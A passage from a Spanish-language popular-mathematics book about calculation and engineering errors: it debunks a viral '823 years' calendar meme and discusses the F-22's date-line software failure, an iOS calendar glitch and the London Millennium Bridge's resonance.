ese	año	a	un	precio	rebajado,	pero,	por	su	atractivo	retro,	me	quedé	con	uno
de	1985.

Si	le	importa	la	secuencia	de	años,	el	calendario	gregoriano	completa	un
ciclo	completo	cada	cuatrocientos	años	después	de	haber	pasado	por	todos	los
años	bisiestos	posibles.	Por	lo	que	el	día	de	hoy	es	exactamente	el	mismo	día
que	hace	cuatrocientos	años.	El	lector	podría	pensar	que	es	fácil	de	programar
en	un	ordenador.	Y	lo	es,	si	el	ordenador	se	queda	quietecito.	Pero	si	este	se
desplaza,	las	cosas	se	complican.
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Error	que	se	puede	encontrar	en	internet
¡¡¡BUENA	SUERTE	A	TODOS!!!	Este	año,	diciembre	tiene	5

lunes,	5	sábados	y	5	domingos.	Esto	ocurre	una	vez	cada	823	años.
Eso	se	llama	bolsa	de	dinero.	Así	que	compártalo	y	el	dinero	le
llegará	en	4	días.	Basado	en	el	Feng	Shui	chino.	Aquel	que	no	lo
comparta	se	quedará	sin	dinero.	Compártalo	en	menos	de	11

minutos	después	de	leerlo.	No	hace	daño	a	nadie,	así	que	yo	lo	hice.
SOLO	POR	DIVERSIÓN.

Este	es	uno	de	los	memes	habituales	de	internet	que	afirman	que	algo	sucede	solo
cada	 823	 años.	No	 tengo	 ni	 idea	 de	 dónde	 han	 sacado	 el	 número	 823.	 Pero,	 por
alguna	razón,	internet	está	plagado	de	afirmaciones	que	aseguran	que	el	año	actual
es	especial	y	que	lo	que	hace	que	lo	sea	no	se	repetirá	hasta	dentro	de	823	años.

Ahora	puede	responder	tranquilamente	y	decir	que	en	el	calendario	gregoriano	nada
puede	 suceder	 con	 una	 frecuencia	 menor	 que	 una	 vez	 cada	 cuatrocientos	 años.
SOLO	POR	DIVERSIÓN.

Y,	dado	que	un	mes	solo	puede	tener	cuatro	posibles	duraciones	y	puede	empezar
en	 siete	 días	 diferentes,	 existen	 realmente	 solo	 veintiocho	 disposiciones	 posibles
para	los	días	de	un	mes.	Cosas	como	estas	sí	que	pasan	solo	cada	pocos	años.	(Y	no
es	algo	que	esté	basado	en	el	Feng	Shui	chino.)

En	diciembre	de	2005,	entró	en	servicio	el	primer	avión	de	combate	F-22
Raptor.	Citando	a	las	Fuerzas	Aéreas	de	Estados	Unidos	(USAF	por	sus	siglas
en	inglés),	«el	F-22	es	un	avión	de	combate	multimisión	único	que	combina
sigilo,	 supercrucero,	 maniobrabilidad	 avanzada	 y	 aviónica	 integrada	 que	 lo
convierten	 en	 el	 avión	 de	 combate	 más	 capaz	 del	 mundo».	 Pero,	 para	 ser
justos,	esto	lo	extraje	de	la	presentación	del	presupuesto	del	F-22	con	el	que
las	 fuerzas	 aéreas	 estaban	 intentando	 justificar	 su	 gasto.	 La	 USAF	 hizo
números	 y	 calculó	 que,	 en	 2009,	 el	 coste	 de	 cada	 F-22	 era	 de	 150.389.000
dólares.

Es	cierto	que	el	F-22	se	caracterizaba	por	tener	aviónica	integrada.	En	los
aviones	antiguos,	el	piloto	estaba	pilotando	físicamente	el	avión	con	controles
que	utilizaban	cables	para	levantar	y	bajar	alerones,	y	así	con	todo.	No	era	el
caso	del	F-22.	Todo	se	hace	a	través	de	un	ordenador.	¿Cómo,	si	no,	puedes
conseguir	 una	 maniobrabilidad	 avanzada	 y	 habilidad	 en	 el	 combate?	 Los
ordenadores	son	el	camino	a	seguir.	Pero,	al	igual	que	ocurre	con	los	aviones,
los	ordenadores	son	buenos	y	bonitos	hasta	que	se	estrellan.
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En	febrero	de	2007,	seis	F-22	estaban	volando	de	Japón	a	Hawái	cuando
todos	 sus	 sistemas	 dejaron	 de	 funcionar	 de	 repente.	 Todos	 los	 sistemas	 de
navegación	 estaban	 desconectados,	 los	 sistemas	 que	 informaban	 de	 la
cantidad	 que	 quedaba	 de	 combustible	 dejaron	 de	 funcionar	 y	 lo	 mismo	 le
ocurrió	a	una	parte	de	los	sistemas	de	comunicación.	No	fue	debido	al	ataque
de	 un	 enemigo	 o	 a	 un	 astuto	 sabotaje.	 Simplemente,	 el	 avión	 había
sobrevolado	la	línea	internacional	del	cambio	de	fecha.

A	 todo	 el	 mundo	 le	 gusta	 que	 el	 mediodía	 sea	 cuando	 el	 sol	 cae
directamente	sobre	sus	cabezas:	el	momento	en	el	que	una	parte	de	la	Tierra
está	 señalando	directamente	 al	Sol.	La	Tierra	gira	hacia	 el	 este,	 por	 lo	que,
cuando	es	mediodía	para	nosotros,	todo	el	mundo	situado	al	este	ya	ha	pasado
su	mediodía	(y	ahora	ya	ha	sobrepasado	al	Sol),	mientras	que	todos	aquellos
situados	más	al	oeste	de	nuestra	posición	están	esperando	su	turno	para	llegar
al	sol	del	mediodía.	Esta	es	la	razón	por	la	que,	si	nos	movemos	hacia	el	este,
cada	zona	horaria	aumenta	más	o	menos	en	una	hora.

Pero,	finalmente,	eso	tiene	que	parar;	no	puedes	seguir	desplazándote	en
el	 tiempo	 de	 forma	 constante	 mientras	 viajas	 hacia	 el	 este.	 Si,	 por	 arte	 de
magia,	 pudiéramos	 dar	 la	 vuelta	 al	 planeta	 a	 una	 velocidad	 superrápida,	 no
volveríamos	 al	 punto	 en	 el	 que	 empezamos	y	descubriríamos	que	 es	 un	día
completo	en	el	futuro.	En	algún	punto	hay	que	encontrarse	con	el	final	de	un
día,	bien,	del	día	de	ayer.	Al	pasar	sobre	la	línea	internacional	del	cambio	de
fecha,	retrocedes	(o	adelantas)	un	día	completo	en	el	calendario.

Si	 le	resulta	difícil	de	entender,	no	se	preocupe,	no	es	el	único.	La	 línea
internacional	del	cambio	de	fecha	provoca	toda	clase	de	confusiones,	y	quien
fuera	el	que	programó	el	F-22	debió	de	sufrir	lo	suyo	para	solucionarlo.	Las
Fuerzas	Aéreas	de	Estados	Unidos	no	han	confirmado	qué	es	lo	que	provocó
ese	 fallo	 (solo	 que	 lo	 arreglaron	 en	 un	 plazo	 máximo	 de	 48	 horas),	 pero
parece	ser	que	el	tiempo	saltó	repentinamente	un	día	y	el	avión	se	«asustó»	y
decidió	 que	 apagarlo	 todo	 era	 lo	mejor	 que	 se	 podía	 hacer.	Los	 intentos	 en
pleno	vuelo	no	tuvieron	éxito,	por	lo	que,	aunque	los	aviones	todavía	podían
volar,	los	pilotos	no	podían	pilotarlos.	Los	aviones	tuvieron	que	volver	a	casa
con	dificultades	siguiendo	a	su	avión	de	reabastecimiento.

Ya	 se	 trate	 de	 un	 avión	 de	 combate	moderno	 o	 de	 un	 gobernante	 de	 la
antigua	Roma:	más	tarde	o	más	temprano,	el	tiempo	nos	alcanza	a	todos.

Calend-obvio
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El	programador	Nick	Day	me	envió	un	correo	electrónico	cuando	se	percató	de	que
el	 calendario	 de	 los	 dispositivos	 iOS	 parecía	 que	 fallaba	 en	 1847.	 De	 repente,
febrero	tenía	31	días.	Y	enero	28.	Julio	es	extrañamente	variable;	diciembre	había
desaparecido	por	completo.	Para	los	años	anteriores	a	1848,	los	encabezados	de	los
años	habían	desaparecido.	Si	el	lector	abre	el	calendario	por	defecto	de	un	iPhone
en	 «vista	 anual»,	 solo	 necesita	 un	 par	 de	 segundos	 deslizando	 frenéticamente	 el
dedo	hacia	abajo	para	ver	esto.

Pero	 ¿por	 qué	 1847?	 Hasta	 donde	 yo	 sé,	 Nick	 fue	 la	 primera	 persona	 en	 darse
cuenta	de	esto,	y	no	pude	encontrar	ninguna	relación	obvia	entre	el	tiempo	Unix	y
los	números	de	32	y	64	bits.	Pero	tenemos	una	hipótesis	de	trabajo…

Apple	tiene	más	de	un	tiempo	disponible	a	su	disposición	y	en	ocasiones	utiliza	el
tipo	de	datos	CFAbsoluteTime,	es	decir,	el	número	de	segundos	pasados	desde	el	1
de	enero	de	2001.	Y	si	un	dato	de	tipo	CFAbsoluteTime	se	almacena	como	número
de	64	bits	 signado	dedicando	algunos	de	 los	dígitos	 a	 los	decimales	 (un	valor	 en
coma	 flotante	 de	 doble	 precisión),	 quedarían	 tan	 solo	 52	 bits	 de	 espacio	 para	 el
número	entero	de	segundos.
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El	número	más	grande	que	se	puede	expresar	como	número	binario	de	52	bits	es
4.503.599.627.370.495,	 y	 si	 contamos	 hacia	 atrás	 todos	 esos	 microsegundos	 (en
lugar	de	segundos)	desde	el	1	de	enero	de	2001,	acabamos	el	viernes	16	de	abril	de
1858…,	que	podría	ser	la	razón	por	la	que	se	estropea	más	o	menos	en	esa	fecha…
tal	vez.	¡Bueno,	es	lo	mejor	que	se	nos	ha	ocurrido!

Si	 cualquier	 ingeniero	de	Apple	nos	puede	proporcionar	una	 respuesta	definitiva,
por	favor	que	se	ponga	en	contacto	con	nosotros.
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Dos

ERRORES	EN	INGENIERÍA
No	 es	 necesario	 que	 un	 edificio	 se	 caiga	 para	 que	 cuente	 como	 error	 de
ingeniería.	La	 construcción	del	 edificio	 situado	 en	 el	 número	20	de	 la	 calle
Fenchurch	 de	 Londres	 estaba	 a	 punto	 de	 finalizar	 en	 2013	 cuando	 se	 hizo
evidente	 un	 importante	 fallo	 de	 diseño.	 No	 tenía	 nada	 que	 ver	 con	 la
integridad	 estructural	 del	 edificio;	 se	 acabó	 en	 2014	 y,	 a	 día	 de	 hoy,	 es	 un
edificio	 que	 funciona	 perfectamente,	 y	 fue	 vendido	 en	 2017	 por	 una	 cifra
récord:	1.300	millones	de	 libras.	Desde	todos	 los	puntos	de	vista	es	 todo	un
éxito.	 Excepto	 porque,	 durante	 el	 verano	 de	 2013,	 el	 ambiente	 empezó	 a
caldearse.

El	exterior	del	edificio	fue	diseñado	por	el	arquitecto	Rafael	Viñoly	para
que	tuviera	una	curva	muy	marcada,	pero	esto	implicó	que	todos	los	reflejos
de	 las	 ventanas	 de	 cristal	 se	 convirtieron	 accidentalmente	 en	 un	 espejo
cóncavo	enorme:	una	especie	de	lente	gigante	en	el	cielo	capaz	de	concentrar
la	luz	del	sol	en	un	área	diminuta.	No	siempre	hace	sol	en	Londres,	pero	en	un
día	bien	despejado	del	verano	de	2013,	en	el	que	el	sol	daba	de	lleno	sobre	las
ventanas	recién	acabadas,	un	rayo	calcinador	letal	atravesó	Londres.

De	acuerdo,	no	era	algo	tan	malo.	Pero	estaba	generando	temperaturas	de
alrededor	de	90	ºC,	suficientes	para	chamuscar	el	felpudo	de	una	peluquería
cercana.	 Un	 coche	 aparcado	 se	 derritió	 un	 poco	 y	 alguien	 aseguró	 que	 le
quemó	su	limón	(no	se	trata	de	jerga	londinense;	se	trataba	de	un	limón	real).
Un	periodista	local	con	un	don	para	el	drama,	aprovechó	la	oportunidad	para
freír	algunos	huevos	colocando	la	sartén	en	el	punto	más	caliente.

Aunque	 había	 una	 solución	 bastante	 sencilla:	 se	 añadió	 una	 visera	 al
edificio	para	bloquear	 los	 rayos	del	 sol	 antes	de	que	 se	pudieran	concentrar
sobre	el	limón	de	alguien.	Y	no	es	que	esta	extraña	alineación	de	superficies
reflectoras	se	pudiera	haber	pronosticado.	Nunca	había	ocurrido	algo	así	con
un	edificio.	Al	menos,	no	desde	que	ocurrió	 lo	mismo	en	el	hotel	Vdara	de
Las	 Vegas,	 en	 2010.	 La	 fachada	 curva	 de	 cristal	 del	 hotel	 concentraba	 los
rayos	del	sol	y	quemó	la	piel	de	los	huéspedes	que	descansaban	en	la	piscina.

Pero	¿podemos	dar	por	sentado	de	manera	razonable	que	el	arquitecto	del
edificio	situado	en	el	20	de	la	calle	Fenchurch	sabía	algo	de	lo	que	ocurrió	en
un	 lejano	hotel	 de	Las	Vegas?	Bueno,	 el	 hotel	Vdara	 también	 fue	diseñado
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por	Rafael	Viñoly,	por	lo	que	es	lógico	esperar	que	alguna	información	fluyó
entre	 ambos	 proyectos.	 Todo	 lo	 que	 sabemos	 es	 que	Viñoly	 fue	 contratado
específicamente	porque	 los	propietarios	querían	un	edificio	con	una	fachada
curva	y	reluciente.

Incluso	aunque	no	hubiera	pasado	algo	similar	con	un	edificio	anterior,	las
matemáticas	 que	 tienen	 que	 ver	 con	 el	 enfoque	 de	 los	 rayos	 de	 luz	 son
bastante	 accesibles.	 La	 forma	 de	 una	 parábola,	 esa	 curva	 omnipresente	 que
aparecía	siempre	que	teníamos	que	trazar	una	gráfica	de	cualquier	fórmula	del
tipo	y=x2	 en	 la	 escuela,	 concentrará	 todos	 los	 rayos	 de	 luz	 paralelos	 que	 le
lleguen	sobre	un	único	punto	focal.	Las	antenas	parabólicas	tienen	forma	de
parábola	por	esta	razón;	o	se	puede	decir	más	bien	que	son	paraboloides,	una
clase	de	parábola	3D.

Si	la	luz	no	está	muy	bien	alineada,	una	forma	lo	bastante	parabólica	aún
puede	dirigir	la	suficiente	cantidad	de	luz	sobre	una	región	lo	suficientemente
pequeña	para	que	se	note.	Existe	una	escultura	en	Nottingham,	el	Sky	Mirror,
que	es	una	 forma	brillante,	paraboloide,	y	una	 leyenda	 local	asegura	que	ha
quemado	a	algunas	palomas	que	pasaba	por	allí.	 (Spoiler:	probablemente	no
es	cierto.)

Puentes	sobre	matemáticas	turbulentas

Cuando	 nos	 fijamos	 en	 la	 relación	 de	 la	 humanidad	 con	 los	 desastres	 de	 la
ingeniería,	 los	 puentes	 son	 el	 ejemplo	 perfecto.	 Llevamos	 milenios
construyéndolos,	y	no	es	tan	sencillo	como	construir	una	casa	o	un	muro.	Hay
muchos	más	errores	potenciales,	y	están,	por	definición,	 flotando	en	el	aire.
En	 el	 lado	 positivo,	 podemos	 decir	 que	 causan	 un	 enorme	 impacto	 en	 las
vidas	de	 las	personas	que	viven	en	 las	 cercanías,	 uniendo	comunidades	que
sin	 ellos	 estarían	 separadas.	 Con	 tales	 beneficios	 potenciales,	 los	 humanos
siempre	han	intentado	ir	más	allá	del	límite	de	lo	que	es	posible	hacer	con	los
puentes.

Hay	muchos	ejemplos	modernos	de	puentes	que	han	fallado.	Uno	famoso
fue	el	Puente	del	Milenio	de	Londres,	que	 fue	 inaugurado	en	el	año	2000	y
tuvo	 que	 ser	 cerrado	 solo	 dos	 días	 después.	 Los	 ingenieros	 se	 habían
equivocado	 al	 no	 darse	 cuenta	 con	 sus	 cálculos	 que	 la	 gente	 que	 caminara
sobre	 él	 provocaría	 que	 se	 balanceara.	 Con	 el	 objetivo	 de	 que	 el	 puente
tuviera	un	perfil	muy	bajo,	el	puente	se	había	construido	suspendido	por	los
lados,	con	los	soportes	junto	a	la	plataforma	y	en	algunos	casos	por	debajo	de
ella.
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La	mayoría	de	los	puentes	colgantes	tienen	cables	de	carga	de	acero	que
cuelgan	desde	arriba	de	la	zona	útil	del	puente.	Dado	que	se	estuvo	buscando
siempre	 un	 perfil	 bajo,	 los	 cables	 de	 acero	 del	 Puente	 del	 Milenio	 solo
descienden	2,3	metros.	Así,	en	lugar	de	estar	suspendido	de	una	cuerda,	como
alguien	 que	 desciende	 de	 un	 risco	 haciendo	 rápel,	 las	 cuerdas	 se	 colocaron
tensadas	 y	 prácticamente	 rectas,	 sujetando	 el	 puente,	 funcionando	 en	 la
práctica	más	 como	 una	 cuerda	 floja.	 Las	 cuerdas	 de	 acero	 tienen	 que	 estar
muy	 tensadas:	 los	 cables	 soportaban	 una	 fuerza	 de	 tensión	 de	 unas	 2.000
toneladas.

De	manera	similar	a	una	cuerda	de	guitarra,	cuanta	más	tensión	hay	en	un
puente,	 más	 fácil	 es	 que	 vibre	 ante	 frecuencias	 más	 altas.	 Si	 bajamos
gradualmente	la	tensión	sobre	una	cuerda	de	guitarra,	la	nota	que	produce	es
más	baja,	hasta	que	la	cuerda	está	tan	floja	que	ya	no	produce	ninguna	nota.
El	Puente	del	Milenio	 se	 ajustó	 involuntariamente	 a	más	o	menos	1	hercio.
Pero	no	en	la	dirección	vertical	habitual;	se	tambaleaba	de	lado	a	lado.

Hasta	el	día	de	hoy,	el	Puente	del	Milenio	es	conocido	por	los	londinenses
como	 el	 puente	 tambaleante.	 En	Londres,	 a	 los	 edificios	 importantes	 se	 les
suele	poner	un	apodo.	Para	dirigirte	a	The	Onion	(«la	cebolla»)	es	posible	que
tengas	que	pasar	por	The	Gherkin	 («el	pepinillo»)	y	girar	a	 la	 izquierda	del
Cheese	Grater	(«el	rayador	de	queso»).	(Sí,	todos	son	apodos	de	edificios.)	El
número	 20	 de	 la	 calle	 Fenchurch	 era	 el	 Walkie	 Talkie,	 hasta	 que	 todo	 el
mundo	 cambió	 por	 unanimidad	 a	 The	 Walkie	 Scorchie	 («el	 walkie
abrasador»).	 El	 Puente	 del	 Milenio	 sigue	 siendo	 el	 puente	 tambaleante,
incluso	a	pesar	de	que	solo	se	tambaleó	durante	dos	días.

Pero	me	encanta	 la	 forma	en	 la	que	 los	 apodos	captan	 la	 idea.	No	es	 el
puente	elástico,	aunque	sería	un	nombre	pegadizo.	Es	el	puente	tambaleante.
El	 puente	 no	 se	 movió	 arriba	 y	 abajo	 como	 una	 goma	 elástica;	 sino	 que,
inesperadamente,	 se	 balanceó	 de	 lado	 a	 lado.	 Los	 ingenieros	 tienen	mucha
experiencia	 a	 la	 hora	 de	 impedir	 que	 los	 puentes	 oscilen	 arriba	 y	 abajo,	 y
todos	los	cálculos	respecto	al	movimiento	vertical	fueron	muy	acertados.	Pero
los	 ingenieros	 que	 diseñaron	 el	 Puente	 del	 Milenio	 subestimaron	 la
importancia	del	movimiento	lateral.

La	 descripción	 oficial	 del	 problema	 fue	 «excitación	 lateral	 sincrónica»
causada	por	 los	peatones.	Fue	 la	gente	que	pasaba	andando	por	el	puente	 la
que	provocó	 su	 tambaleo.	Que	algo	 tan	grande	 como	el	Puente	del	Milenio
pueda	 empezar	 a	 tambalearse	 debido	 a	 la	 fuerza	 bruta	 es	 un	 reto	 casi
imposible	para	un	grupo	de	transeúntes.	Excepto	que	este	puente	fue	afinado
involuntariamente	para	que	fuera	fácil.	La	mayoría	de	las	personas	caminan	a
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una	 velocidad	 de	 unos	 dos	 pasos	 por	 segundo,	 lo	 que	 significa	 que	 sus
cuerpos	 se	 balancean	 de	 lado	 a	 lado	 una	 vez	 por	 segundo.	 Un	 humano
caminando	es,	a	todos	los	efectos,	una	masa	que	vibra	a	una	frecuencia	de	1
hercio,	 que	 era	 el	 ritmo	 perfecto	 para	 hacer	 que	 el	 puente	 se	 tambalease.
Coincidía	con	una	de	las	frecuencias	de	resonancia	del	puente.

Los	resonadores	van	a	resonar

Si	algo	está	en	resonancia	con	nosotros	significa	que	estamos	conectados	con
esa	cosa;	estamos	«en	sintonía».	Este	uso	figurativo	de	«resonar»	apareció	a
finales	de	la	década	de	1970	y	ha	seguido	siendo	sorprendentemente	acorde	al
uso	 literal	 de	 «resonar»	 de	 un	 siglo	 atrás.	 A	 partir	 de	 la	 palabra	 en	 latín
resonare,	que	más	o	menos	significa	«eco»	o	«retumbar»,	en	el	siglo	XIX	 la
palabra	«resonancia»	se	convirtió	en	un	 término	científico	para	describir	 las
vibraciones	contagiosas.

El	 péndulo	 sirve	 como	 analogía	 de	 lo	 que	 es	 una	 resonancia,	 cuyo
movimiento	se	describe	muchas	veces	como	el	de	un	niño	en	un	columpio.	Si
al	 lector	 le	 toca	 empujar	 al	 niño	 en	 cuestión	 y	 simplemente	 extiende	 sus
brazos	 a	 intervalos	 aleatorios,	 la	 cosa	 no	 irá	 muy	 bien;	 golpeará	 al	 niño
cuando	este	se	dirija	hacia	usted	y	 lo	ralentizará	 tantas	veces	como	le	dé	un
empujón	cuando	se	aleje,	acelerándolo	en	consecuencia.	Incluso	un	empuje	a
un	 ritmo	regular	que	no	se	sincronice	con	el	movimiento	del	columpio	hará
que	la	mayoría	de	las	veces	le	dé	un	empujón	al	aire.

Solo	tendrá	éxito	si	empuja	al	ritmo	exacto	que	encaje	con	el	momento	en
el	que	el	niño	está	directamente	frente	a	usted	y	empieza	su	descenso.	Cuando
la	sincronización	de	su	esfuerzo	encaje	con	la	frecuencia	a	la	que	se	mueve	el
columpio,	cada	empuje	añadirá	un	poquito	más	de	energía	al	sistema.	Seguirá
incrementándose	 con	 cada	 empujón	 hasta	 que	 el	 niño	 se	mueva	 demasiado
rápido	para	inhalar	con	facilidad	y	finalmente	dejará	de	gritar.

En	 un	 instrumento	musical,	 la	 resonancia	 es	 esto	mismo,	 aunque	 a	 una
escala	mucho	menor:	utilizan	la	forma	en	la	que	una	cuerda	de	una	guitarra,
una	pieza	de	madera	o	incluso	aire	en	el	interior	de	un	contenedor	vibra	miles
de	 veces	 por	 segundo.	Tocar	 la	 trompeta	 implica	 apretar	 los	 labios	 y	 luego
lanzar	 una	 disonancia	 de	 frecuencias	 desordenadas.	 Pero	 solo	 aquellas	 que
encajan	 con	 las	 frecuencias	 de	 resonancia	 de	 la	 cavidad	 del	 interior	 de	 la
trompeta	crecerán	hasta	alcanzar	niveles	perceptibles.	Al	cambiar	la	forma	de
la	 trompeta	 (mediante	 las	 palancas	 y	 válvulas	 adecuadas)	 se	 cambia	 la
frecuencia	de	resonancia	de	la	cavidad	y	se	amplifica	una	nota	diferente.
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Es	 lo	 mismo	 que	 ocurre	 en	 el	 interior	 de	 cualquier	 receptor	 de	 radio
(incluyendo	también	las	tarjetas	de	crédito	sin	contacto).	La	antena	recibe	un
montón	de	frecuencias	electromagnéticas	diferentes	procedentes	de	señales	de
televisión,	redes	wifi	e	incluso	de	alguien	que	esté	recalentando	las	sobras	en
el	microondas.	 La	 antena	 se	 conecta	 a	 un	 resonador	 electrónico	 compuesto
por	 condensadores	 y	 bobinas	 de	 alambre	 que	 sintoniza	 perfectamente	 la
frecuencia	específica	deseada.

Aunque	la	resonancia	es	algo	genial	en	algunas	situaciones,	los	ingenieros
a	veces	tienen	que	esforzarse	mucho	para	evitarla	tanto	en	máquinas	como	en
edificios.	Una	lavadora	es	increíblemente	molesta	durante	ese	breve	momento
en	el	que	la	frecuencia	de	giro	está	en	armonía	con	la	resonancia	del	resto	de
la	máquina:	cobra	vida	por	sí	misma	y	decide	darse	un	paseo.

La	resonancia	también	puede	afectar	a	los	edificios.	En	julio	de	2011	un
centro	comercial	de	treinta	y	nueve	pisos	de	altura	en	Corea	del	Sur	tuvo	que
ser	evacuado	porque	la	resonancia	estaba	haciendo	vibrar	el	edificio.	La	gente
que	 estaba	 en	 la	 última	 planta	 notó	 que	 este	 empezaba	 a	 temblar,	 como	 si
alguien	 hubiera	 tocado	 el	 bajo	 y	 subido	 el	 volumen	 al	 triple.	 Y	 ese	 era
exactamente	el	problema.	Después	de	que	 la	 investigación	oficial	descartara
que	hubiera	sido	un	terremoto,	descubrieron	que	el	culpable	fue	una	clase	de
gimnasia	del	piso	doce.

El	 5	 de	 julio	 habían	 decidido	 ejercitarse	 con	 «The	 Power»,	 de	 Snap,	 y
todos	saltaron	con	más	fuerza	de	la	habitual.	¿Pudo	el	ritmo	de	«The	Power»
entrar	en	sincronía	con	una	frecuencia	de	resonancia	del	edificio?	Durante	la
investigación,	 se	 metieron	 de	 nuevo	 unas	 veinte	 personas	 en	 la	 misma
habitación	 para	 recrear	 la	 clase	 de	 gimnasia	 y,	 en	 efecto,	 como	 dice	 la
canción,	 tuvieron	 la	 energía	 necesaria	 (The	 Power).	 Cuando	 pusieron	 la
canción,	 el	 piso	 treinta	 y	 ocho	 empezó	 a	 temblar	 diez	 veces	 más	 de	 lo
habitual.

Temblores	en	un	plano

La	 frecuencia	 de	 resonancia	 de	 un	 hercio	 del	 Puente	 del	 Milenio	 solo
producía	 oscilaciones	 en	 una	 dirección	 específica:	 de	 lado	 a	 lado.	 La	 gente
atravesando	 el	 puente	 en	 ambas	 direcciones	 no	 debería	 ser	 un	 problema;
incluso	 el	 movimiento	 lateral	 hacia	 delante	 y	 hacia	 atrás	 de	 un	 hercio
producido	 por	 los	 peatones	 no	 debería	 haber	 sido	 un	 problema,	 ya	 que	 lo
normal	es	que	todo	el	mundo	camine	de	forma	no	sincronizada.	Cada	vez	que
alguno	 de	 ellos	 diera	 un	 paso	 con	 su	 pie	 derecho,	 seguro	 que	 otra	 persona
estaría	 dándolo	 al	 mismo	 tiempo	 con	 el	 izquierdo	 y	 todas	 las	 fuerzas	 se
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cancelarían	 entre	 sí.	 Esta	 resonancia	 lateral	 solo	 sería	 un	 problema	 si	 un
número	suficiente	de	personas	caminara	de	forma	perfectamente	sincronizada.

Ese	es	el	origen	de	la	sincronía	en	la	«excitación	lateral	sincrónica»	de	los
peatones.	 En	 el	 Puente	 del	 Milenio,	 la	 gente	 empezó	 a	 caminar	 de	 forma
sincronizada,	porque	el	movimiento	del	puente	influyó	en	el	ritmo	en	el	que
estaban	caminando.	Esto	provocó	un	ciclo	de	retroalimentación;	la	gente	que
caminaba	de	forma	sincronizada	provocaba	que	el	puente	se	moviera	más,	y
el	hecho	de	que	el	puente	se	moviera	hacía	que	 la	gente	caminara	de	 forma
sincronizada.	Viendo	una	grabación	de	vídeo	realizada	en	junio	de	2000	nos
da	la	impresión	de	que	un	20%	de	los	peatones	camina	de	forma	sincronizada,
más	que	 suficiente	para	producir	 la	 frecuencia	de	 resonancia	y	hacer	que	el
centro	del	puente	se	balancease	unos	7,5	centímetros	en	cada	dirección.

Arreglarlo	 supuso	 dos	 costosos	 años	 de	 acondicionamiento,	 tiempo
durante	 el	 cual	 el	 puente	 se	 cerró	 al	 público.	 Eliminar	 el	 temblor	 costó	 5
millones	de	libras,	además	del	coste	original	de	18	millones.	Una	parte	de	la
dificultad	 fue	 romper	 ese	 ciclo	 de	 retroalimentación	 peatón-puente	 sin
cambiar	la	estética	del	puente.	Escondidos	debajo	de	la	acera	y	alrededor	de	la
estructura	hay	treinta	y	siete	«amortiguadores	viscosos	lineales»	(tanques	que
contienen	 un	 líquido	 viscoso	 con	 un	 pistón	 que	 se	mueve	 en	 su	 interior)	 y
unos	cincuenta	«amortiguadores	dinámicos	de	masas	sintonizadas»	(péndulos
en	 el	 interior	 de	 una	 caja).	 Están	 diseñados	 para	 eliminar	 energía	 del
movimiento	 del	 puente	 y	 amortiguar	 el	 ciclo	 de	 retroalimentación	 de	 la
resonancia.

Y	funciona.	Al	principio,	el	movimiento	lateral	del	puente	tenía	un	índice
de	 amortiguación	 por	 debajo	 del	 1%	 para	 frecuencias	 de	 resonancia	 por
debajo	 de	 1,5	 hercios.	 Actualmente	 la	 amortiguación	 está	 entre	 el	 15	 y	 el
20%.	Esto	significa	que	se	retira	la	suficiente	energía	del	sistema	para	cortar
el	 ciclo	 de	 retroalimentación	 de	 raíz.	 Incluso	 amortigua	 las	 frecuencias
superiores	a	3	hercios	entre	un	5	y	un	10%;	supongo	que	eso	sería	en	el	caso
de	que	un	montón	de	gente	decidiera	pasar	corriendo	por	el	puente	de	forma
simultánea	y	síncrona.	Cuando	se	reabrió,	el	Puente	del	Milenio	fue	descrito
como	 «probablemente,	 la	 estructura	 con	 la	 amortiguación	 pasiva	 más
compleja	 del	 mundo».	 Una	 etiqueta	 que	 a	 la	 mayoría	 de	 nosotros	 no	 nos
gustaría	que	nos	adjudicaran.

Así	es	como	progresa	la	ingeniería.	Antes	de	lo	del	Puente	del	Milenio,	las
matemáticas	de	la	«excitación	lateral	sincrónica»	ocasionada	por	los	peatones
no	se	conocían	mucho.	Una	vez	arreglado	el	puente,	es	una	parcela	en	la	que
se	 ha	 investigado	mucho.	Además	 de	 estudiar	 las	 grabaciones	 desde	 que	 se
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abrió	 de	 nuevo,	 se	 hicieron	 pruebas	 con	 un	 dispositivo	 automático	 de
agitación	 colocado	 en	 el	 puente.	 Y	 grupos	 de	 voluntarios	 caminaron	 hacia
atrás	y	hacia	delante	por	él.

En	una	prueba,	se	hizo	caminar	sobre	el	puente	cada	vez	a	más	gente	de
forma	progresiva	y	se	midió	cualquier	ligero	temblor.	Más	abajo	se	puede	ver
un	gráfico	en	el	que	se	representa	el	grupo	cada	vez	mayor	de	transeúntes	y	la
aceleración	 lateral	 del	 puente.	 Cuando	 eran	 ya	 166	 peatones	 se	 alcanzó	 la
masa	crítica,	muy	por	debajo	de	los	aproximadamente	700	que	había	sobre	el
puente	 cuando	 este	 se	 inauguró.	 No	 es	 el	 mejor	 gráfico	 científico	 de	 la
historia:	me	pregunto	cuál	será	la	unidad	de	la	«aceleración	de	la	pasarela».	Y
mi	 parte	 favorita	 del	 gráfico	 es	 que,	 dado	 que	 representa	 peatones	 y
aceleración	al	mismo	tiempo,	el	eje	permite	que	haya	un	número	negativo	de
peatones	 sobre	 el	 puente.	 O,	 técnicamente,	 peatones	 que	 se	 mueven	 hacia
atrás	 en	 el	 tiempo.	Lo	cual,	 si	 alguna	vez	 se	ha	visto	 atascado	detrás	de	un
grupo	de	turistas	que	deambulan	por	Londres,	sabrá	que	es	realmente	posible.

No	querría	ser	el	167º	peatón	sobre	el	puente.

Antes	del	 incidente	del	Puente	del	Milenio	ya	había	algunas	señales	que
indicaban	 que	 los	 peatones	 sincronizados	 podían	 hacer	 que	 un	 puente	 se
sacudiera	lateralmente.	En	1993,	se	realizó	una	investigación	sobre	un	puente
peatonal	que	se	tambaleaba	lateralmente	cuando	lo	cruzaban	al	mismo	tiempo
dos	mil	personas.	Antes	de	eso,	en	1972,	se	investigó	un	puente	de	Alemania
que	 mostraba	 problemas	 similares	 cuando	 entre	 trescientas	 y	 cuatrocientas
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personas	caminaban	sobre	él	a	la	vez.	Pero	nada	de	esto	había	hecho	que	se
modificasen	las	regulaciones	en	cuanto	a	la	construcción	de	puentes.	Todo	el
mundo	estaba	obsesionado	con	las	vibraciones	verticales.

Arriba	y	abajo

El	impacto	vertical	producido	por	un	humano	que	camina	es	unas	diez	veces
mayor	 que	 el	 lateral,	 razón	 por	 la	 que	 los	 movimientos	 laterales	 han	 sido
ignorados	 tanto	 tiempo.	Las	 vibraciones	 verticales	 de	 los	 puentes	 se	 habían
percibido	mucho	 antes.	 Los	 puentes	 sólidos	 de	 piedra	 o	madera	 no	 poseen
